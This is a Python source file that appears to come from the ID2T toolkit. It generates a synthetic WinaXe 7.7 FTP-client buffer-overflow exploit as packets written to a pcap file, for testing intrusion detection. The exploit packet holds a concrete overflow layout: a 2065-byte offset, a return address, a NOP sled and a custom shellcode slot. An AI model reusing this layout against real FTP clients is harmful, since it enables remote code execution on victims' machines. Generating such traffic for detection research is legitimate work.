FTPWinaXeExploit.py 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223
  1. import logging
  2. import random as rnd
  3. import scapy.layers.inet as inet
  4. import Attack.AttackParameters as atkParam
  5. import Attack.BaseAttack as BaseAttack
  6. import ID2TLib.Utility
  7. import ID2TLib.Utility as Util
  8. logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
  9. # noinspection PyPep8
  10. # FTP Port used for Creation of packets
  11. ftp_port = 21
  12. class FTPWinaXeExploit(BaseAttack.BaseAttack):
  13. def __init__(self):
  14. """
  15. Creates a new instance of the FTPExploit.
  16. This attack injects a buffer overflow for the WinaXe FTP-client into the output pcap file.
  17. """
  18. # Initialize attack
  19. super(FTPWinaXeExploit, self).__init__("FTPWinaXe Exploit", "Injects a WinaXe 7.7 FTP buffer overflow.",
  20. "Privilege elevation")
  21. # Define allowed parameters and their type
  22. self.supported_params.update({
  23. atkParam.Parameter.IP_SOURCE: atkParam.ParameterTypes.TYPE_IP_ADDRESS,
  24. atkParam.Parameter.IP_DESTINATION: atkParam.ParameterTypes.TYPE_IP_ADDRESS,
  25. atkParam.Parameter.MAC_SOURCE: atkParam.ParameterTypes.TYPE_MAC_ADDRESS,
  26. atkParam.Parameter.MAC_DESTINATION: atkParam.ParameterTypes.TYPE_MAC_ADDRESS,
  27. atkParam.Parameter.INJECT_AT_TIMESTAMP: atkParam.ParameterTypes.TYPE_FLOAT,
  28. atkParam.Parameter.INJECT_AFTER_PACKET: atkParam.ParameterTypes.TYPE_PACKET_POSITION,
  29. atkParam.Parameter.IP_SOURCE_RANDOMIZE: atkParam.ParameterTypes.TYPE_BOOLEAN,
  30. atkParam.Parameter.PACKETS_PER_SECOND: atkParam.ParameterTypes.TYPE_FLOAT,
  31. atkParam.Parameter.CUSTOM_PAYLOAD: atkParam.ParameterTypes.TYPE_STRING,
  32. atkParam.Parameter.CUSTOM_PAYLOAD_FILE: atkParam.ParameterTypes.TYPE_STRING
  33. })
  34. def init_params(self):
  35. """
  36. Initialize the parameters of this attack using the user supplied command line parameters.
  37. Use the provided statistics to calculate default parameters and to process user
  38. supplied queries.
  39. """
  40. # PARAMETERS: initialize with default values
  41. # (values are overwritten if user specifies them)
  42. most_used_ip_address = self.statistics.get_most_used_ip_address()
  43. # The most used IP class in background traffic
  44. most_used_ip_class = Util.handle_most_used_outputs(self.statistics.get_most_used_ip_class())
  45. attacker_ip = self.generate_random_ipv4_address(most_used_ip_class)
  46. self.add_param_value(atkParam.Parameter.IP_DESTINATION, attacker_ip)
  47. self.add_param_value(atkParam.Parameter.MAC_DESTINATION, self.generate_random_mac_address())
  48. random_ip_address = self.statistics.get_random_ip_address()
  49. # victim should be valid and not equal to attacker
  50. while not self.is_valid_ip_address(random_ip_address) or random_ip_address == attacker_ip:
  51. random_ip_address = self.statistics.get_random_ip_address()
  52. self.add_param_value(atkParam.Parameter.IP_SOURCE, random_ip_address)
  53. victim_mac = self.statistics.get_mac_address(random_ip_address)
  54. if isinstance(victim_mac, list) and len(victim_mac) == 0:
  55. victim_mac = self.generate_random_mac_address()
  56. self.add_param_value(atkParam.Parameter.MAC_SOURCE, victim_mac)
  57. self.add_param_value(atkParam.Parameter.PACKETS_PER_SECOND,
  58. (self.statistics.get_pps_sent(most_used_ip_address) +
  59. self.statistics.get_pps_received(most_used_ip_address)) / 2)
  60. self.add_param_value(atkParam.Parameter.INJECT_AFTER_PACKET, rnd.randint(0, self.statistics.get_packet_count()))
  61. self.add_param_value(atkParam.Parameter.IP_SOURCE_RANDOMIZE, 'False')
  62. self.add_param_value(atkParam.Parameter.CUSTOM_PAYLOAD, '')
  63. self.add_param_value(atkParam.Parameter.CUSTOM_PAYLOAD_FILE, '')
  64. def generate_attack_packets(self):
  65. """
  66. Creates the attack packets.
  67. """
  68. pps = self.get_param_value(atkParam.Parameter.PACKETS_PER_SECOND)
  69. # Timestamp
  70. timestamp_next_pkt = self.get_param_value(atkParam.Parameter.INJECT_AT_TIMESTAMP)
  71. # store start time of attack
  72. self.attack_start_utime = timestamp_next_pkt
  73. # Initialize parameters
  74. ip_victim = self.get_param_value(atkParam.Parameter.IP_SOURCE)
  75. ip_attacker = self.get_param_value(atkParam.Parameter.IP_DESTINATION)
  76. mac_victim = self.get_param_value(atkParam.Parameter.MAC_SOURCE)
  77. mac_attacker = self.get_param_value(atkParam.Parameter.MAC_DESTINATION)
  78. custom_payload = self.get_param_value(atkParam.Parameter.CUSTOM_PAYLOAD)
  79. custom_payload_len = len(custom_payload)
  80. custom_payload_limit = 1000
  81. Util.check_payload_len(custom_payload_len, custom_payload_limit)
  82. self.packets = []
  83. # Create random victim if specified
  84. if self.get_param_value(atkParam.Parameter.IP_SOURCE_RANDOMIZE):
  85. # The most used IP class in background traffic
  86. most_used_ip_class = Util.handle_most_used_outputs(self.statistics.get_most_used_ip_class())
  87. ip_victim = self.generate_random_ipv4_address(most_used_ip_class, 1)
  88. mac_victim = self.generate_random_mac_address()
  89. # Get MSS, TTL and Window size value for victim/attacker IP
  90. victim_mss_value, victim_ttl_value, victim_win_value = self.get_ip_data(ip_victim)
  91. attacker_mss_value, attacker_ttl_value, attacker_win_value = self.get_ip_data(ip_attacker)
  92. min_delay, max_delay = self.get_reply_delay(ip_attacker)
  93. attacker_seq = rnd.randint(1000, 50000)
  94. victim_seq = rnd.randint(1000, 50000)
  95. sport = Util.generate_source_port_from_platform("win7")
  96. # connection request from victim (client)
  97. victim_ether = inet.Ether(src=mac_victim, dst=mac_attacker)
  98. victim_ip = inet.IP(src=ip_victim, dst=ip_attacker, ttl=victim_ttl_value, flags='DF')
  99. request_tcp = inet.TCP(sport=sport, dport=ftp_port, window=victim_win_value, flags='S',
  100. seq=victim_seq, options=[('MSS', victim_mss_value)])
  101. victim_seq += 1
  102. syn = (victim_ether / victim_ip / request_tcp)
  103. syn.time = timestamp_next_pkt
  104. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps, min_delay)
  105. self.packets.append(syn)
  106. # response from attacker (server)
  107. attacker_ether = inet.Ether(src=mac_attacker, dst=mac_victim)
  108. attacker_ip = inet.IP(src=ip_attacker, dst=ip_victim, ttl=attacker_ttl_value, flags='DF')
  109. reply_tcp = inet.TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='SA',
  110. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  111. attacker_seq += 1
  112. synack = (attacker_ether / attacker_ip / reply_tcp)
  113. synack.time = timestamp_next_pkt
  114. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps, min_delay)
  115. self.packets.append(synack)
  116. # acknowledgement from victim (client)
  117. ack_tcp = inet.TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
  118. window=victim_win_value, options=[('MSS', victim_mss_value)])
  119. ack = (victim_ether / victim_ip / ack_tcp)
  120. ack.time = timestamp_next_pkt
  121. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps)
  122. self.packets.append(ack)
  123. # FTP exploit packet
  124. ftp_tcp = inet.TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='PA',
  125. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  126. characters = b'220'
  127. characters += Util.get_rnd_bytes(2065, Util.forbidden_chars)
  128. characters += b'\x96\x72\x01\x68'
  129. characters += Util.get_rnd_x86_nop(10, False, Util.forbidden_chars)
  130. custom_payload_file = self.get_param_value(atkParam.Parameter.CUSTOM_PAYLOAD_FILE)
  131. # Generation of payload of the FTP exploit packet
  132. if custom_payload == '':
  133. if custom_payload_file == '':
  134. payload = Util.get_rnd_bytes(custom_payload_limit, Util.forbidden_chars)
  135. else:
  136. payload = ID2TLib.Utility.get_bytes_from_file(custom_payload_file)
  137. Util.check_payload_len(len(payload), custom_payload_limit)
  138. payload += Util.get_rnd_x86_nop(custom_payload_limit - len(payload), False, Util.forbidden_chars)
  139. else:
  140. encoded_payload = custom_payload.encode()
  141. payload = Util.get_rnd_x86_nop(custom_payload_limit - custom_payload_len, False, Util.forbidden_chars)
  142. payload += encoded_payload
  143. characters += payload
  144. characters += Util.get_rnd_x86_nop(20, False, Util.forbidden_chars)
  145. characters += b'\r\n'
  146. ftp_tcp.add_payload(characters)
  147. ftp_buff = (attacker_ether / attacker_ip / ftp_tcp)
  148. ftp_buff.time = timestamp_next_pkt
  149. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps)
  150. self.packets.append(ftp_buff)
  151. attacker_seq += len(ftp_tcp.payload)
  152. # Fin Ack from attacker
  153. fin_ack_tcp = inet.TCP(sport=ftp_port, dport=sport, seq=attacker_seq, ack=victim_seq, flags='FA',
  154. window=attacker_win_value, options=[('MSS', attacker_mss_value)])
  155. fin_ack = (attacker_ether / attacker_ip / fin_ack_tcp)
  156. fin_ack.time = timestamp_next_pkt
  157. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps, min_delay)
  158. self.packets.append(fin_ack)
  159. # Ack from victim on FTP packet
  160. ftp_ack_tcp = inet.TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq, flags='A',
  161. window=victim_win_value, options=[('MSS', victim_mss_value)])
  162. ftp_ack = (victim_ether / victim_ip / ftp_ack_tcp)
  163. ftp_ack.time = timestamp_next_pkt
  164. timestamp_next_pkt = Util.update_timestamp(timestamp_next_pkt, pps)
  165. self.packets.append(ftp_ack)
  166. # Ack from victim on Fin/Ack of attacker
  167. fin_ack_ack_tcp = inet.TCP(sport=sport, dport=ftp_port, seq=victim_seq, ack=attacker_seq + 1, flags='A',
  168. window=victim_win_value, options=[('MSS', victim_mss_value)])
  169. fin_ack_ack = (victim_ether / victim_ip / fin_ack_ack_tcp)
  170. fin_ack_ack.time = timestamp_next_pkt
  171. self.packets.append(fin_ack_ack)
  172. def generate_attack_pcap(self):
  173. """
  174. Creates a pcap containing the attack packets.
  175. :return: The location of the generated pcap file.
  176. """
  177. # store end time of attack
  178. self.attack_end_utime = self.packets[-1].time
  179. # write attack packets to pcap
  180. pcap_path = self.write_attack_pcap(sorted(self.packets, key=lambda pkt: pkt.time))
  181. # return packets sorted by packet time_sec_start
  182. return len(self.packets), pcap_path